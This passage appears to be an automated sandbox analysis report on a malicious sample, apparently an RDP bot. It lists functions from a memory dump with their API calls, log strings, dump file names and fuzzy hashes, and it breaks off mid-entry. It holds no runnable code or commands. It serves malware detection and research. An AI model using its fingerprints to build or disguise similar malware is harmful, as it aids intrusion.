Part of subcall function 00007FFB2273A6CD: LeaveCriticalSection.KERNEL32 ref: 00007FFB2273A786

DeleteCriticalSection.KERNEL32 ref: 00007FFB2273AAF6

Strings

Done, xrefs: 00007FFB2273AB12
ebus_cleanup, xrefs: 00007FFB2273AB19
[I] (%s) -> %s, xrefs: 00007FFB2273AB20

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CriticalSection$Heap$CloseDeleteEnterFreeHandleLeaveObjectProcessSingleWait
String ID: Done$[I] (%s) -> %s$ebus_cleanup
API String ID: 3198640931-3713968270
Opcode ID: b85e3b5bd7b285eeaef46b5be38c830201cde683806f94eac2d76a944e22bfa9
Instruction ID: 87347dba334d2ff8fd28563a08d4b4083bacb1d95ea85d97db840b05674115f3
Opcode Fuzzy Hash: b85e3b5bd7b285eeaef46b5be38c830201cde683806f94eac2d76a944e22bfa9
Instruction Fuzzy Hash: F801C2A1A2C9C281FB129B34EC653787260AF56730F504335D8BD862F0DFECAC559342

Function 00007FFB2273FB40 Relevance: 9.0, APIs: 2, Strings: 4, Instructions: 24COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FFB2273FB58
CloseHandle.KERNEL32 ref: 00007FFB2273FB5E

Strings

C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FFB2273FB74
(pi != NULL), xrefs: 00007FFB2273FB7B
process_free, xrefs: 00007FFB2273FB82
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2273FB89

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CloseHandle
String ID: (pi != NULL)$C:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$process_free
API String ID: 2962429428-1801624891
Opcode ID: fc10055c64f6071bb9d6228ada1094c04c8fcfc9b41819313f97703f498a23d6
Instruction ID: 57914b2d00a160dad8e64facc9704dc1ab186fc08564830d329668b4064057dd
Opcode Fuzzy Hash: fc10055c64f6071bb9d6228ada1094c04c8fcfc9b41819313f97703f498a23d6
Instruction Fuzzy Hash: 72F0F8E1A5D88B81FE02DB34FC102A42320AB42788F454136D90D872749EACED56C311

Function 00007FFB2274038B Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 165memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,00007FFB22745034,?,?,00007FFB227311A1), ref: 00007FFB227405E2

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FFB2274050B
Unknown pseudo relocation protocol version %d., xrefs: 00007FFB22740482
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FFB2274057D

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: 9dd09dc7ed375448d2989ebb7bbce778407ab74c03ffeac50a15ff0a8d23e62d
Instruction ID: 6c9d8df4c1f607ff5a7b324a43f2ceecf067e2ebb30e50c7a218fe0b12b2d849
Opcode Fuzzy Hash: 9dd09dc7ed375448d2989ebb7bbce778407ab74c03ffeac50a15ff0a8d23e62d
Instruction Fuzzy Hash: 906159A2F1C69286FE1A8B75DD406B872B0EB47B94F448135DA5C877E5DEBCE980C700

Function 00007FFB22738AC8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FFB22738A73

Strings

[E] (%s) -> Service stop failed(lpServiceName=%s,pid=%lu,err=%08x), xrefs: 00007FFB227383B1
scm_stop, xrefs: 00007FFB227383AA

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CloseHandleService
String ID: [E] (%s) -> Service stop failed(lpServiceName=%s,pid=%lu,err=%08x)$scm_stop
API String ID: 1725840886-2743387298
Opcode ID: 34afd658e9610579becb046621adafd38131ca6ce25e9f297a7b029d37065a75
Instruction ID: cdfd4b57eea9e4974756ef30b3b34d7412602d8ded0eb53f4788c7ce0ec26b6e
Opcode Fuzzy Hash: 34afd658e9610579becb046621adafd38131ca6ce25e9f297a7b029d37065a75
Instruction Fuzzy Hash: 2B013CD2B0C28341FA635A75EC812B951806F53744F88013ADE5DC62B0DEFCAD858202

Function 00007FFB22732338 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FFB22732600

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273263C
fs_file_read, xrefs: 00007FFB22732635

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 5fb27d87997a0456c4b3bb2036d8ec720e397794cd357dbc5771efa51323e346
Instruction ID: 0cc5733757a7c8823209c7b02e60ab691d84418bb60b7e95a5531fb63a51c161
Opcode Fuzzy Hash: 5fb27d87997a0456c4b3bb2036d8ec720e397794cd357dbc5771efa51323e346
Instruction Fuzzy Hash: E1F0BEA3F0D28381F9139A24FC517B812512F92770F0905318D5C8A6E1EEFCAC829202

Function 00007FFB22732342 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FFB22732600

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273263C
fs_file_read, xrefs: 00007FFB22732635

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 01a02412ab8275c36465b68411a2af4964e092d8c3a43a4fad68f3ebd8b1bdb2
Instruction ID: 51cafd36d0c0164894aa508aa5adb3db03acce67f79b0cc0cafb3dc0ce09d4ed
Opcode Fuzzy Hash: 01a02412ab8275c36465b68411a2af4964e092d8c3a43a4fad68f3ebd8b1bdb2
Instruction Fuzzy Hash: 7FF0BEA3B0D28381F9139A24FC517B812512F92775F0905318D5C8A6E1EEFCAC829202

Function 00007FFB2273234C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FFB22732600

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273263C
fs_file_read, xrefs: 00007FFB22732635

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 4870d544d535033029d480653b6722bb726d195aed30ebe31d3fc1a3d62f9b41
Instruction ID: c7d6fbec5833cde370d4a62ed17c90907a454781013b8645b827509de6b68715
Opcode Fuzzy Hash: 4870d544d535033029d480653b6722bb726d195aed30ebe31d3fc1a3d62f9b41
Instruction Fuzzy Hash: A9F0BEA3B0D28381F9139A24FC517B912512F92774F0905318D5C8A6E1EEFCAC829202

Function 00007FFB22732356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FFB22732600

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273263C
fs_file_read, xrefs: 00007FFB22732635

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: b31d3a5901d0513704d4fe754bffd3a407be5763b5c741f5472f0051b2e3fa67
Instruction ID: 58cad8d1a557d7e5dc081512fd3eb9598f11a9f35a92f38aa1bc2f51e7dc6af1
Opcode Fuzzy Hash: b31d3a5901d0513704d4fe754bffd3a407be5763b5c741f5472f0051b2e3fa67
Instruction Fuzzy Hash: 3BF0BEA3F0D28381F9139A24FC517B812512F92774F090531CD5C8A6E1EEFCAC829202

Function 00007FFB22732360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FFB22732600

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273263C
fs_file_read, xrefs: 00007FFB22732635

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 79f5628ac98b178e595bceb9258ce74583370275243635646760adc4866a2855
Instruction ID: 490b8c260b48c51114f5de9cbe4706f100b6b1ed0c9f65154b68bdaa84ff0c8d
Opcode Fuzzy Hash: 79f5628ac98b178e595bceb9258ce74583370275243635646760adc4866a2855
Instruction Fuzzy Hash: D6F0BEA3B0D28381F9139A24FC517B852512F92774F0905328D5C8AAE1EEFCAC829202

Function 00007FFB227322A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FFB22732600

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273263C
fs_file_read, xrefs: 00007FFB22732635

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 79f5628ac98b178e595bceb9258ce74583370275243635646760adc4866a2855
Instruction ID: 490b8c260b48c51114f5de9cbe4706f100b6b1ed0c9f65154b68bdaa84ff0c8d
Opcode Fuzzy Hash: 79f5628ac98b178e595bceb9258ce74583370275243635646760adc4866a2855
Instruction Fuzzy Hash: D6F0BEA3B0D28381F9139A24FC517B852512F92774F0905328D5C8AAE1EEFCAC829202

Function 00007FFB2273244E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FFB22732600

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273263C
fs_file_read, xrefs: 00007FFB22732635

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 5fb27d87997a0456c4b3bb2036d8ec720e397794cd357dbc5771efa51323e346
Instruction ID: 0cc5733757a7c8823209c7b02e60ab691d84418bb60b7e95a5531fb63a51c161
Opcode Fuzzy Hash: 5fb27d87997a0456c4b3bb2036d8ec720e397794cd357dbc5771efa51323e346
Instruction Fuzzy Hash: E1F0BEA3F0D28381F9139A24FC517B812512F92770F0905318D5C8A6E1EEFCAC829202

Function 00007FFB22732458 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FFB22732600

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273263C
fs_file_read, xrefs: 00007FFB22732635

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 01a02412ab8275c36465b68411a2af4964e092d8c3a43a4fad68f3ebd8b1bdb2
Instruction ID: 51cafd36d0c0164894aa508aa5adb3db03acce67f79b0cc0cafb3dc0ce09d4ed
Opcode Fuzzy Hash: 01a02412ab8275c36465b68411a2af4964e092d8c3a43a4fad68f3ebd8b1bdb2
Instruction Fuzzy Hash: 7FF0BEA3B0D28381F9139A24FC517B812512F92775F0905318D5C8A6E1EEFCAC829202

Function 00007FFB22732462 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FFB22732600

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273263C
fs_file_read, xrefs: 00007FFB22732635

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 4870d544d535033029d480653b6722bb726d195aed30ebe31d3fc1a3d62f9b41
Instruction ID: c7d6fbec5833cde370d4a62ed17c90907a454781013b8645b827509de6b68715
Opcode Fuzzy Hash: 4870d544d535033029d480653b6722bb726d195aed30ebe31d3fc1a3d62f9b41
Instruction Fuzzy Hash: A9F0BEA3B0D28381F9139A24FC517B912512F92774F0905318D5C8A6E1EEFCAC829202

Function 00007FFB2273246C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FFB22732600

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273263C
fs_file_read, xrefs: 00007FFB22732635

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: b31d3a5901d0513704d4fe754bffd3a407be5763b5c741f5472f0051b2e3fa67
Instruction ID: 58cad8d1a557d7e5dc081512fd3eb9598f11a9f35a92f38aa1bc2f51e7dc6af1
Opcode Fuzzy Hash: b31d3a5901d0513704d4fe754bffd3a407be5763b5c741f5472f0051b2e3fa67
Instruction Fuzzy Hash: 3BF0BEA3F0D28381F9139A24FC517B812512F92774F090531CD5C8A6E1EEFCAC829202

Function 00007FFB22732476 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FFB22732600

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FFB2273263C
fs_file_read, xrefs: 00007FFB22732635

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 79f5628ac98b178e595bceb9258ce74583370275243635646760adc4866a2855
Instruction ID: 490b8c260b48c51114f5de9cbe4706f100b6b1ed0c9f65154b68bdaa84ff0c8d
Opcode Fuzzy Hash: 79f5628ac98b178e595bceb9258ce74583370275243635646760adc4866a2855
Instruction Fuzzy Hash: D6F0BEA3B0D28381F9139A24FC517B852512F92774F0905328D5C8AAE1EEFCAC829202

Function 00007FFB22738039 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FFB2273810C

Strings

scm_start, xrefs: 00007FFB22737F33
[E] (%s) -> Service start failed(lpServiceName=%s,err=%08x), xrefs: 00007FFB22737F3A

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CloseHandleService
String ID: [E] (%s) -> Service start failed(lpServiceName=%s,err=%08x)$scm_start
API String ID: 1725840886-2678404757
Opcode ID: fe283bf00ec4d4bd9c62e94c2f5eb6f31ec38c09f1da1a3e5da74ccad50825a1
Instruction ID: 9fe107dd57b77580c384eccf3755df90d74813af2aa52a4fd7974be76d850b2d
Opcode Fuzzy Hash: fe283bf00ec4d4bd9c62e94c2f5eb6f31ec38c09f1da1a3e5da74ccad50825a1
Instruction Fuzzy Hash: ACF01DA2F0C5A782FA675A34ED406B922506F03BA8F451135CD5EDB6B09DBCAD819382

Function 00007FFB22738043 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FFB2273810C

Strings

scm_start, xrefs: 00007FFB22737F33
[E] (%s) -> Service start failed(lpServiceName=%s,err=%08x), xrefs: 00007FFB22737F3A

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CloseHandleService
String ID: [E] (%s) -> Service start failed(lpServiceName=%s,err=%08x)$scm_start
API String ID: 1725840886-2678404757
Opcode ID: bc8aeb85be358ea8940a261e10e09c849a5545bd73b064f9e67d93773e851f0f
Instruction ID: aee1b00c3338e171e1f1fbd3a9dbdba1bf0addeb74f8c489b2121fbc0db7acb6
Opcode Fuzzy Hash: bc8aeb85be358ea8940a261e10e09c849a5545bd73b064f9e67d93773e851f0f
Instruction Fuzzy Hash: 04F096B2F0C19781FA335630ED406F812106F03BA8F450134CC5ED76B09DBCAC819382

Function 00007FFB2273804D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FFB2273810C

Strings

scm_start, xrefs: 00007FFB22737F33
[E] (%s) -> Service start failed(lpServiceName=%s,err=%08x), xrefs: 00007FFB22737F3A

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
